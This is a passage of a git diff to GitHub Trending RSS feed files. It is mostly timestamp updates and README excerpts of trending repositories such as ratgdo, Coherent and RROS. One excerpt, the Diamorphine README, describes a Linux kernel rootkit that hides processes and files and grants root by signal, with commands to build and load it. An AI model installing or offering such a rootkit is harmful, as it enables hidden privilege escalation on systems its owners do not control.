</ul>
<p align="center"><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/protocol-stack-5g.svg?sanitize=true" alt="protocol-stack-5g" style="zoom:150%;"></p>
+ ratgdo/esphome-ratgdo
+ 2023-12-13T01:27:53Z
+ tag:github.com,2023-12-13:/ratgdo/esphome-ratgdo
+
+ <p>ratgdo for ESPHome</p><hr><h1>ratgdo for ESPHome</h1>
<p>This is a port of the ratgdo software for the v2.0/v2.5 board to ESPHome.</p>
<p><a href="https://paulwieland.github.io/ratgdo/#order">Visit the github.io page to purchase boards</a></p>
<h2>Installation</h2>
<ul>
<li>Flash the ESPHome based firmware using the <a href="https://ratgdo.github.io/esphome-ratgdo/">Web Installer</a></li>
</ul>
<p>It is no longer necessary to save the rolling code counter when switching between firmware.</p>
<h2>First use after adding to Home Assistant</h2>
<p>The ESPHome firmware will allow you to open the door to any position after calibration. To calibrate the door, open and close it once without stopping.</p>
<img width="560" alt="position_demo" src="https://github.com/RATGDO/esphome-ratgdo/assets/663432/22a9873e-67bb-4b2f-bb32-70047cfe666d">
<h2>ESPHome config</h2>
<ul>
<li> <p><a href="https://github.com/RATGDO/esphome-ratgdo/raw/main/static/v2board_esp8266_d1_mini_lite.yaml">ESPHome config for v2.0 board with ESP8266 D1 Mini lite</a></p> </li>
<li> <p><a href="https://github.com/RATGDO/esphome-ratgdo/raw/main/static/v2board_esp32_d1_mini.yaml">ESPHome config for v2.0 board with ESP32 D1 Mini</a></p> </li>
<li> <p><a href="https://github.com/RATGDO/esphome-ratgdo/raw/main/static/v2board_esp32_lolin_s2_mini.yaml">ESPHome config for v2.0 board with ESP32 Lolin D2 Mini</a></p> </li>
<li> <p><a href="https://github.com/RATGDO/esphome-ratgdo/raw/main/static/v25board_esp8266_d1_mini_lite.yaml">ESPHome config for v2.5 board with ESP8266 D1 Mini lite</a></p> </li>
<li> <p><a href="https://github.com/RATGDO/esphome-ratgdo/raw/main/static/v25board_esp32_d1_mini.yaml">ESPHome config for v2.5 board with ESP32 D1 Mini</a></p> </li>
<li> <p><a href="https://github.com/RATGDO/esphome-ratgdo/raw/main/static/v25iboard.yaml">ESPHome config for v2.5i board</a></p> </li>
<li> <p><a href="https://ratgdo.github.io/esphome-ratgdo/">Web Installer</a></p> </li>
</ul>
<p><img src="https://raw.githubusercontent.com/ratgdo/esphome-ratgdo/main/static/hass.png" alt="Home Assistant Screen Shot"></p>
\ No newline at end of file
diff --git a/c-objdump/daily/index.xml b/c-objdump/daily/index.xml
index 0d6064d1343..6bcc24c4d4b 100644
--- a/c-objdump/daily/index.xml
+++ b/c-objdump/daily/index.xml
@@ -1,7 +1,7 @@
GitHub C-ObjDump Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:24Z
+ 2023-12-13T01:27:49Z
Daily Trending of C-ObjDump in GitHub
\ No newline at end of file
diff --git a/c/daily/index.xml b/c/daily/index.xml
index c0aa6b2d7c3..afa6d7f30d8 100644
--- a/c/daily/index.xml
+++ b/c/daily/index.xml
@@ -1,7 +1,28 @@
GitHub C Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:10Z
+ 2023-12-13T01:27:27Z
Daily Trending of C in GitHub
+
+ gspu/Coherent
+ 2023-12-13T01:27:27Z
+ tag:github.com,2023-12-13:/gspu/Coherent
+
+ <p>Coherent OS</p><hr><h1>Coherent</h1>
<p>Coherent is a clone of the Unix operating system for IBM PC compatibles and other microcomputers, developed and sold by the now-defunct Mark Williams Company (MWC). Historically, the operating system was a proprietary product, but it became open source in 2015, released under a 3-clause BSD License.</p>
<p><a href="https://en.wikipedia.org/wiki/Coherent_(operating_system)">https://en.wikipedia.org/wiki/Coherent_(operating_system)</a></p>
<p>Manpages:</p>
<p><a href="http://www.nesssoftware.com/home/mwc/manpage.php?contents">http://www.nesssoftware.com/home/mwc/manpage.php?contents</a></p>
<p>Manual:</p>
<p><a href="http://www.nesssoftware.com/home/mwc/manual.php">http://www.nesssoftware.com/home/mwc/manual.php</a></p>
<p>VM:</p>
<p><a href="https://www.autometer.de/unix4fun/coherent/#vbox">https://www.autometer.de/unix4fun/coherent/#vbox</a></p>
<p><a href="https://www.autometer.de/unix4fun/coherent/ftp/vms/">https://www.autometer.de/unix4fun/coherent/ftp/vms/</a></p>
+
+
+ m0nad/Diamorphine
+ 2023-12-13T01:27:27Z
+ tag:github.com,2023-12-13:/m0nad/Diamorphine
+
+ <p>LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 and ARM64)</p><hr><h1>Diamorphine</h1>
<p>Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 and ARM64)</p>
<h2>Features</h2>
<ul>
<li> <p>When loaded, the module starts invisible;</p> </li>
<li> <p>Hide/unhide any process by sending a signal 31;</p> </li>
<li> <p>Sending a signal 63(to any pid) makes the module become (in)visible;</p> </li>
<li> <p>Sending a signal 64(to any pid) makes the given user become root;</p> </li>
<li> <p>Files or directories starting with the MAGIC_PREFIX become invisible;</p> </li>
<li> <p>Source: <a href="https://github.com/m0nad/Diamorphine">https://github.com/m0nad/Diamorphine</a></p> </li>
</ul>
<h2>Install</h2>
<p>Verify if the kernel is 2.6.x/3.x/4.x/5.x</p>
<pre><code>uname -r
</code></pre>
<p>Clone the repository</p>
<pre><code>git clone https://github.com/m0nad/Diamorphine
</code></pre>
<p>Enter the folder</p>
<pre><code>cd Diamorphine
</code></pre>
<p>Compile</p>
<pre><code>make
</code></pre>
<p>Load the module(as root)</p>
<pre><code>insmod diamorphine.ko
</code></pre>
<h2>Uninstall</h2>
<p>The module starts invisible, to remove you need to make it visible</p>
<pre><code>kill -63 0
</code></pre>
<p>Then remove the module(as root)</p>
<pre><code>rmmod diamorphine
</code></pre>
<h2>References</h2>
<p>Wikipedia Rootkit <a href="https://en.wikipedia.org/wiki/Rootkit">https://en.wikipedia.org/wiki/Rootkit</a></p>
<p>Linux Device Drivers <a href="http://lwn.net/Kernel/LDD3/">http://lwn.net/Kernel/LDD3/</a></p>
<p>LKM HACKING <a href="https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html">https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html</a></p>
<p>Memset's blog <a href="http://memset.wordpress.com/">http://memset.wordpress.com/</a></p>
<p>Linux on-the-fly kernel patching without LKM <a href="http://phrack.org/issues/58/7.html">http://phrack.org/issues/58/7.html</a></p>
<p>WRITING A SIMPLE ROOTKIT FOR LINUX <a href="https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt">https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt</a></p>
<p>Linux Cross Reference <a href="http://lxr.free-electrons.com/">http://lxr.free-electrons.com/</a></p>
<p>zizzu0 LinuxKernelModules <a href="https://github.com/zizzu0/LinuxKernelModules/">https://github.com/zizzu0/LinuxKernelModules/</a></p>
<p>Linux Rootkits: New Methods for Kernel 5.7+ <a href="https://xcellerator.github.io/posts/linux_rootkits_11/">https://xcellerator.github.io/posts/linux_rootkits_11/</a></p>
+
+
+ BUPT-OS/RROS
+ 2023-12-13T01:27:27Z
+ tag:github.com,2023-12-13:/BUPT-OS/RROS
+
+ <p>RROS is a dual-kernel OS for satellites or other scenarios that need both real-time and general-purpose abilities. RROS = RTOS (Rust) + Linux (C).</p><hr><div align="center">
<img src="https://github.com/Richardhongyu/RROS/assets/33805041/d8ccbeb0-c0f5-4634-8108-017367d35a4b" width="70%">
</div>
<hr>
<p><a href="https://BUPT-OS.github.io/website/docs/"><img src="https://img.shields.io/badge/view-docs-blue" alt="Documentation"></a> <a href="https://github.com/BUPT-OS/RROS/actions/workflows/ci.yaml"><img src="https://github.com/BUPT-OS/RROS/actions/workflows/ci.yaml/badge.svg?sanitize=true" alt=".github/workflows/ci.yaml"></a> <a href="https://rros.zulipchat.com/"><img src="https://img.shields.io/badge/chat-on%20zulip-brightgreen" alt="Zulip chat"></a> <img src="https://img.shields.io/badge/RROS-0.0.1-orange" alt="RROS"> <a href="https://github.com/BUPT-OS/RROS/raw/master/README.md"><img src="https://img.shields.io/badge/lang-en-yellow.svg?sanitize=true" alt="en"></a> <a href="https://github.com/BUPT-OS/RROS/raw/master/README.zh.md"><img src="https://img.shields.io/badge/lang-%E4%B8%AD%E6%96%87-yellow.svg?sanitize=true" alt="zh"></a></p>
<p>RROS is a dual-kernel OS, consisting of a real-time kernel (in Rust) and a general-purpose kernel (Linux). RROS is compatible with almost all native Linux programs and offers real-time performance superior to RT-Linux. It is also being experimented with as the host OS for in-orbit satellites (<a href="http://www.tiansuan.org.cn/">Tiansuan Project</a>).</p>
<p>Here is an <a href="https://bupt-os.github.io/website/docs/introduction/architecture.jpg">architecture diagram</a> and a <a href="https://bupt-os.github.io/website/docs/introduction/demo.mp4">demo video</a> of RROS.</p>
<h2>News</h2>
<ul>
<li>[2023.12.09] <span>🔥</span><span>🔥</span> RROS is successfully launched into space! (<a href="https://bupt-os.github.io/website/news/2023_12_9/satellite_launch/">photos</a>).</li>
<li>[2023.11.30] RROS is presented at Xenomai Workshop 2023 (<a href="https://bupt-os.github.io/website/news/2023_11_30/xenomai_workshop/">photos</a>).</li>
<li>[2023.11.28] <span>🔥</span> RROS is open-sourced!</li>
</ul>
<h2>Why RROS</h2>
<p>RROS is primarily intended for satellites (onboard computers, payloads, etc). The key incentive is the trend that nowadays satellites serve both traditional satellite-borne real-time tasks (e.g., communication and positioning) and general-purpose tasks that need mature, complicated software support (e.g., data compression and machine learning). That catalyzes the dual-kernel architecture of RROS. Taking a step further, the real-time kernel of RROS is fully implemented in Rust for better safety and robustness. However, RROS can be used in scenarios like automatic cars, IoTs, industrial control, etc.</p>
<p>The advantages of RROS are:</p>
<ul>
<li><strong>Hard real-time</strong>: RROS offers superior real-time performance compared to RT-Linux. RROS is designed with an efficient task scheduler that can quickly respond to external events, reducing task switching and processing delays.</li>
<li><strong>Compatibility</strong>: RROS is compatible with almost every Linux program, allowing seamless migration of complex Linux applications such as TensorFlow and Kubernetes. You can also easily modify your general Linux programs into a more real-time counterpart.</li>
<li><strong>Easy to use</strong>: RROS facilitates easy programming and debugging of real-time programs. RROS uses the libevl interface to call real-time APIs for user programs, allowing you to use tools like gdb, kgdb, and QEMU.</li>
<li><strong>Robustness</strong>: The real-time kernel of RROS is carefully written in Rust, making it safer and more robust, especially for memory and concurrency issues.</li>
</ul>
<h2>Quick start</h2>
<p><a href="https://bupt-os.github.io/website/docs/introduction/quick-start/">Kick off with RROS easily</a>: boot, run, test, and develop with RROS.</p>
<h2>Document</h2>
<p>See the <a href="https://bupt-os.github.io/website/docs/">document</a> including:</p>
<ul>
<li><a href="https://bupt-os.github.io/website/docs/introduction/quick-start">Quick Start</a></li>
<li><a href="https://bupt-os.github.io/website/docs/tutorial/setup-the-environment">Setup the Environment</a></li>
<li><a href="https://bupt-os.github.io/website/docs/tutorial/choose-a-file-system">Choose a file System</a></li>
<li><a href="https://bupt-os.github.io/website/docs/tutorial/deploy-rros-on-the-raspberry-pi">Deploy RROS on the Raspberry Pi</a></li>
<li><a href="https://bupt-os.github.io/website/docs/tutorial/debug">Debug</a></li>
<li><a href="https://bupt-os.github.io/website/docs/tutorial/kernel-tools">Kernel Tools</a></li>
</ul>
<h2>Communication & Contribution</h2>
<p>Contact us at <a href="https://rros.zulipchat.com/">Zulip Forum</a> or with email <code>buptrros AT gmail.com</code>.</p>
<p>Contributions are also very welcomed! <a href="https://bupt-os.github.io/website/docs/contributing/contributing/">Check it out</a>.</p>
<h2>Roadmap</h2>
<p>See <a href="https://bupt-os.github.io/website/docs/roadmap/roadmap">here</a> for our future roadmap.</p>
<h2>Who are we</h2>
<p>We are a <a href="https://bupt-os.github.io/website/docs/team/team/">research group</a> at BUPT.</p>
<h2>Release</h2>
<p>The RROS relies on both the dovetail and the Rust for Linux(RFL), neither of which currently provides patches. Integrating one into the other at a high frequency is challenging. As a result, RROS is currently tied to Linux kernel version 5.13, built on top of linux-dovetail-v5.13, and readily compatible with RFL patch v1. Fortunately, RFL is swiftly making its way into the mainline Linux kernel. We plan to release new versions once most of the RFL APIs we depend on are available in the linux-dovetail mainline. At that point, we will further consider Long-Term Support (LTS) versions.</p>
<h2>Acknowledgements</h2>
<p>RROS has benefitted from the following projects/resources.</p>
<ul>
<li><a href="https://evlproject.org/core/">Evl/xenomai (linux-evl)</a>. We learned from evl core how to implement a dual kernel and use dovetail for interrupt virtualization and libevl for user library. Thanks, @Philippe for his genius work and patient explanation in the riot!</li>
<li><a href="https://github.com/Rust-for-Linux/linux">Rust-for-Linux</a>: We use RFL to write RROS in Linux. We ask a lot of questions on RFL Zulip and constructing safety abstractions. Kudos to @ojeda, @Wedson, @Alex, @boqun, @Gary, @Björn in the RFL community for patiently helping us. We hope to bring more safety abstraction back to the RFL in return!</li>
<li><a href="https://www.cnblogs.com/wsg1100/p/13836497.html">Muduo</a>: His detailed blog gives us insights for xenomai/evl project.</li>
<li>All prospective contributors to RROS in the future!</li>
</ul>
<h2>Citation</h2>
<pre><code>@misc{li2023rros,
title = {RROS: A Dual-kernel Real-time Operating System in Rust},
url = {https://github.com/BUPT-OS/RROS},
author = {Hongyu Li and Jiangtao Hu and Qichen Qiu and Yuxuan Shan and Bochen Wang and Jiajun Du and Yexuan Yang and Xinge Wang and Shangguang Wang and Mengwei Xu},
month = {December},
year = {2023}
}
</code></pre>
<h2>License</h2>
<p>The source code of RROS is under the License of GPL-2.0.</p>
+
\ No newline at end of file
diff --git a/c2hs-haskell/daily/index.xml b/c2hs-haskell/daily/index.xml
index d5c943baf93..6dd56479bb2 100644
--- a/c2hs-haskell/daily/index.xml
+++ b/c2hs-haskell/daily/index.xml
@@ -1,7 +1,7 @@
GitHub C2hs Haskell Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:25Z
+ 2023-12-13T01:27:49Z
Daily Trending of C2hs Haskell in GitHub
\ No newline at end of file
diff --git a/cabal-config/daily/index.xml b/cabal-config/daily/index.xml
index 2ceaba05c58..ba84ff4a984 100644
--- a/cabal-config/daily/index.xml
+++ b/cabal-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cabal Config Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:27Z
+ 2023-12-13T01:27:50Z
Daily Trending of Cabal Config in GitHub
\ No newline at end of file
diff --git a/cadence/daily/index.xml b/cadence/daily/index.xml
index 75f911122ef..f26e023993f 100644
--- a/cadence/daily/index.xml
+++ b/cadence/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cadence Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:42Z
+ 2023-12-13T01:28:03Z
Daily Trending of Cadence in GitHub
\ No newline at end of file
diff --git a/cairo/daily/index.xml b/cairo/daily/index.xml
index f4fddbcbbf5..e3477f0a8c5 100644
--- a/cairo/daily/index.xml
+++ b/cairo/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Cairo Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:47Z
+ 2023-12-13T01:28:04Z
Daily Trending of Cairo in GitHub
+
+ Falco90/cairo-exercises
+ 2023-12-13T01:28:04Z
+ tag:github.com,2023-12-13:/Falco90/cairo-exercises
+
+ <p></p><hr>
+
\ No newline at end of file
diff --git a/cap'n-proto/daily/index.xml b/cap'n-proto/daily/index.xml
index aee97b8a926..cede59389fe 100644
--- a/cap'n-proto/daily/index.xml
+++ b/cap'n-proto/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cap'n Proto Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:53Z
+ 2023-12-13T01:28:05Z
Daily Trending of Cap'n Proto in GitHub
\ No newline at end of file
diff --git a/cartocss/daily/index.xml b/cartocss/daily/index.xml
index 01875d1fc4e..dc56fa51e5f 100644
--- a/cartocss/daily/index.xml
+++ b/cartocss/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CartoCSS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:48Z
+ 2023-12-13T01:28:07Z
Daily Trending of CartoCSS in GitHub
\ No newline at end of file
diff --git a/ceylon/daily/index.xml b/ceylon/daily/index.xml
index 54254cd2089..aa344bea1cf 100644
--- a/ceylon/daily/index.xml
+++ b/ceylon/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ceylon Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:50Z
+ 2023-12-13T01:28:06Z
Daily Trending of Ceylon in GitHub
\ No newline at end of file
diff --git a/chapel/daily/index.xml b/chapel/daily/index.xml
index f74928724ef..b64cd322584 100644
--- a/chapel/daily/index.xml
+++ b/chapel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Chapel Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:52Z
+ 2023-12-13T01:28:08Z
Daily Trending of Chapel in GitHub
\ No newline at end of file
diff --git a/charity/daily/index.xml b/charity/daily/index.xml
index 5aee31e19aa..5acce71f6be 100644
--- a/charity/daily/index.xml
+++ b/charity/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Charity Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:55Z
+ 2023-12-13T01:28:11Z
Daily Trending of Charity in GitHub
\ No newline at end of file
diff --git a/chuck/daily/index.xml b/chuck/daily/index.xml
index e46efe2073d..99b376cf29d 100644
--- a/chuck/daily/index.xml
+++ b/chuck/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ChucK Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:54Z
+ 2023-12-13T01:28:11Z
Daily Trending of ChucK in GitHub
\ No newline at end of file
diff --git a/cil/daily/index.xml b/cil/daily/index.xml
index f442397fc5b..297e2bfa297 100644
--- a/cil/daily/index.xml
+++ b/cil/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CIL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:58Z
+ 2023-12-13T01:28:10Z
Daily Trending of CIL in GitHub
\ No newline at end of file
diff --git a/cirru/daily/index.xml b/cirru/daily/index.xml
index 144d1292ba7..7efaea09fda 100644
--- a/cirru/daily/index.xml
+++ b/cirru/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cirru Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:02Z
+ 2023-12-13T01:28:15Z
Daily Trending of Cirru in GitHub
\ No newline at end of file
diff --git a/clarion/daily/index.xml b/clarion/daily/index.xml
index 39791d11dd0..5fe0000c5d9 100644
--- a/clarion/daily/index.xml
+++ b/clarion/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Clarion Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:45:59Z
+ 2023-12-13T01:28:14Z
Daily Trending of Clarion in GitHub
\ No newline at end of file
diff --git a/clarity/daily/index.xml b/clarity/daily/index.xml
index 39a1bacddb7..bed40690a6b 100644
--- a/clarity/daily/index.xml
+++ b/clarity/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Clarity Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:00Z
+ 2023-12-13T01:28:16Z
Daily Trending of Clarity in GitHub
\ No newline at end of file
diff --git a/classic-asp/daily/index.xml b/classic-asp/daily/index.xml
index 4667acfc425..944e9fa4377 100644
--- a/classic-asp/daily/index.xml
+++ b/classic-asp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Classic ASP Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:07Z
+ 2023-12-13T01:28:18Z
Daily Trending of Classic ASP in GitHub
\ No newline at end of file
diff --git a/clean/daily/index.xml b/clean/daily/index.xml
index 6a5c9149101..8655f1a1df2 100644
--- a/clean/daily/index.xml
+++ b/clean/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Clean Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:05Z
+ 2023-12-13T01:28:21Z
Daily Trending of Clean in GitHub
\ No newline at end of file
diff --git a/click/daily/index.xml b/click/daily/index.xml
index 3953aae31a6..9c6c718136f 100644
--- a/click/daily/index.xml
+++ b/click/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Click Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:06Z
+ 2023-12-13T01:28:20Z
Daily Trending of Click in GitHub
\ No newline at end of file
diff --git a/clips/daily/index.xml b/clips/daily/index.xml
index a23fe7de0aa..c28d766fc85 100644
--- a/clips/daily/index.xml
+++ b/clips/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CLIPS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:03Z
+ 2023-12-13T01:28:17Z
Daily Trending of CLIPS in GitHub
\ No newline at end of file
diff --git a/clojure/daily/index.xml b/clojure/daily/index.xml
index 7f2a8aa9de8..e483ac6a8b0 100644
--- a/clojure/daily/index.xml
+++ b/clojure/daily/index.xml
@@ -1,21 +1,7 @@
GitHub Clojure Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:16Z
+ 2023-12-13T01:28:27Z
Daily Trending of Clojure in GitHub
-
- raystubbs/zero
- 2023-12-12T01:46:16Z
- tag:github.com,2023-12-12:/raystubbs/zero
-
- <p>Build web components in ClojureScript</p><hr>
-
-
- skuttleman/defacto
- 2023-12-12T01:46:16Z
- tag:github.com,2023-12-12:/skuttleman/defacto
-
- <p>A light-weight, highly customizable state store for clojure(script)</p><hr>
-
\ No newline at end of file
diff --git a/closure-templates/daily/index.xml b/closure-templates/daily/index.xml
index 1a0ef9d0280..b3a45891b75 100644
--- a/closure-templates/daily/index.xml
+++ b/closure-templates/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Closure Templates Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:09Z
+ 2023-12-13T01:28:24Z
Daily Trending of Closure Templates in GitHub
\ No newline at end of file
diff --git a/cloud-firestore-security-rules/daily/index.xml b/cloud-firestore-security-rules/daily/index.xml
index 612d91b0e87..d34e999aae4 100644
--- a/cloud-firestore-security-rules/daily/index.xml
+++ b/cloud-firestore-security-rules/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cloud Firestore Security Rules Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:10Z
+ 2023-12-13T01:28:23Z
Daily Trending of Cloud Firestore Security Rules in GitHub
\ No newline at end of file
diff --git a/cmake/daily/index.xml b/cmake/daily/index.xml
index c1f457bcde6..3974303b655 100644
--- a/cmake/daily/index.xml
+++ b/cmake/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CMake Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:20Z
+ 2023-12-13T01:28:30Z
Daily Trending of CMake in GitHub
\ No newline at end of file
diff --git a/cobol/daily/index.xml b/cobol/daily/index.xml
index 7af63dc5593..89876295f71 100644
--- a/cobol/daily/index.xml
+++ b/cobol/daily/index.xml
@@ -1,7 +1,7 @@
GitHub COBOL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:25Z
+ 2023-12-13T01:28:31Z
Daily Trending of COBOL in GitHub
\ No newline at end of file
diff --git a/codeowners/daily/index.xml b/codeowners/daily/index.xml
index 4df09343dbf..cfc6ef32788 100644
--- a/codeowners/daily/index.xml
+++ b/codeowners/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CODEOWNERS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:23Z
+ 2023-12-13T01:28:34Z
Daily Trending of CODEOWNERS in GitHub
\ No newline at end of file
diff --git a/codeql/daily/index.xml b/codeql/daily/index.xml
index 92c0e594882..177aa8d2621 100644
--- a/codeql/daily/index.xml
+++ b/codeql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CodeQL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:25Z
+ 2023-12-13T01:28:34Z
Daily Trending of CodeQL in GitHub
\ No newline at end of file
diff --git a/coffeescript/daily/index.xml b/coffeescript/daily/index.xml
index 690afda52fb..f1b59343d26 100644
--- a/coffeescript/daily/index.xml
+++ b/coffeescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CoffeeScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:27Z
+ 2023-12-13T01:28:33Z
Daily Trending of CoffeeScript in GitHub
\ No newline at end of file
diff --git a/coldfusion-cfc/daily/index.xml b/coldfusion-cfc/daily/index.xml
index 04e6f97441a..8380530940f 100644
--- a/coldfusion-cfc/daily/index.xml
+++ b/coldfusion-cfc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ColdFusion CFC Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:29Z
+ 2023-12-13T01:28:36Z
Daily Trending of ColdFusion CFC in GitHub
\ No newline at end of file
diff --git a/coldfusion/daily/index.xml b/coldfusion/daily/index.xml
index ff942e883e3..e0d5833e281 100644
--- a/coldfusion/daily/index.xml
+++ b/coldfusion/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ColdFusion Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:31Z
+ 2023-12-13T01:28:37Z
Daily Trending of ColdFusion in GitHub
\ No newline at end of file
diff --git a/collada/daily/index.xml b/collada/daily/index.xml
index 935cb652085..095de50b1cf 100644
--- a/collada/daily/index.xml
+++ b/collada/daily/index.xml
@@ -1,7 +1,7 @@
GitHub COLLADA Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:30Z
+ 2023-12-13T01:28:38Z
Daily Trending of COLLADA in GitHub
\ No newline at end of file
diff --git a/common-lisp/daily/index.xml b/common-lisp/daily/index.xml
index ef3bb97a29c..a8620f19c09 100644
--- a/common-lisp/daily/index.xml
+++ b/common-lisp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Common Lisp Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:33Z
+ 2023-12-13T01:28:38Z
Daily Trending of Common Lisp in GitHub
\ No newline at end of file
diff --git a/common-workflow-language/daily/index.xml b/common-workflow-language/daily/index.xml
index f975676b5dd..e661db5867f 100644
--- a/common-workflow-language/daily/index.xml
+++ b/common-workflow-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Common Workflow Language Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:36Z
+ 2023-12-13T01:28:40Z
Daily Trending of Common Workflow Language in GitHub
\ No newline at end of file
diff --git a/component-pascal/daily/index.xml b/component-pascal/daily/index.xml
index 1fadcb6a64e..87c7e1af8f2 100644
--- a/component-pascal/daily/index.xml
+++ b/component-pascal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Component Pascal Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:37Z
+ 2023-12-13T01:28:41Z
Daily Trending of Component Pascal in GitHub
\ No newline at end of file
diff --git a/conll-u/daily/index.xml b/conll-u/daily/index.xml
index 35afa6f0c9e..f66a0f51d5f 100644
--- a/conll-u/daily/index.xml
+++ b/conll-u/daily/index.xml
@@ -1,7 +1,7 @@
GitHub CoNLL-U Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:38Z
+ 2023-12-13T01:28:40Z
Daily Trending of CoNLL-U in GitHub
\ No newline at end of file
diff --git a/cool/daily/index.xml b/cool/daily/index.xml
index 236d8d2b8a9..26021470727 100644
--- a/cool/daily/index.xml
+++ b/cool/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cool Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:39Z
+ 2023-12-13T01:28:42Z
Daily Trending of Cool in GitHub
\ No newline at end of file
diff --git a/coq/daily/index.xml b/coq/daily/index.xml
index 0b95048454e..11dc5967073 100644
--- a/coq/daily/index.xml
+++ b/coq/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Coq Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:42Z
+ 2023-12-13T01:28:43Z
Daily Trending of Coq in GitHub
\ No newline at end of file
diff --git a/cpp-objdump/daily/index.xml b/cpp-objdump/daily/index.xml
index 06c63b52a0e..35216543647 100644
--- a/cpp-objdump/daily/index.xml
+++ b/cpp-objdump/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Cpp-ObjDump Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:40Z
+ 2023-12-13T01:28:45Z
Daily Trending of Cpp-ObjDump in GitHub
\ No newline at end of file
diff --git a/creole/daily/index.xml b/creole/daily/index.xml
index 917845d34bc..cd5292c8ba6 100644
--- a/creole/daily/index.xml
+++ b/creole/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Creole Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:46:41Z
+ 2023-12-13T01:28:46Z
Daily Trending of Creole in GitHub
\ No newline at end of file
diff --git a/crystal/daily/index.xml b/crystal/daily/index.xml
index 6a917e805a5..d4d884597c2 100644
--- a/crystal/daily/index.xml
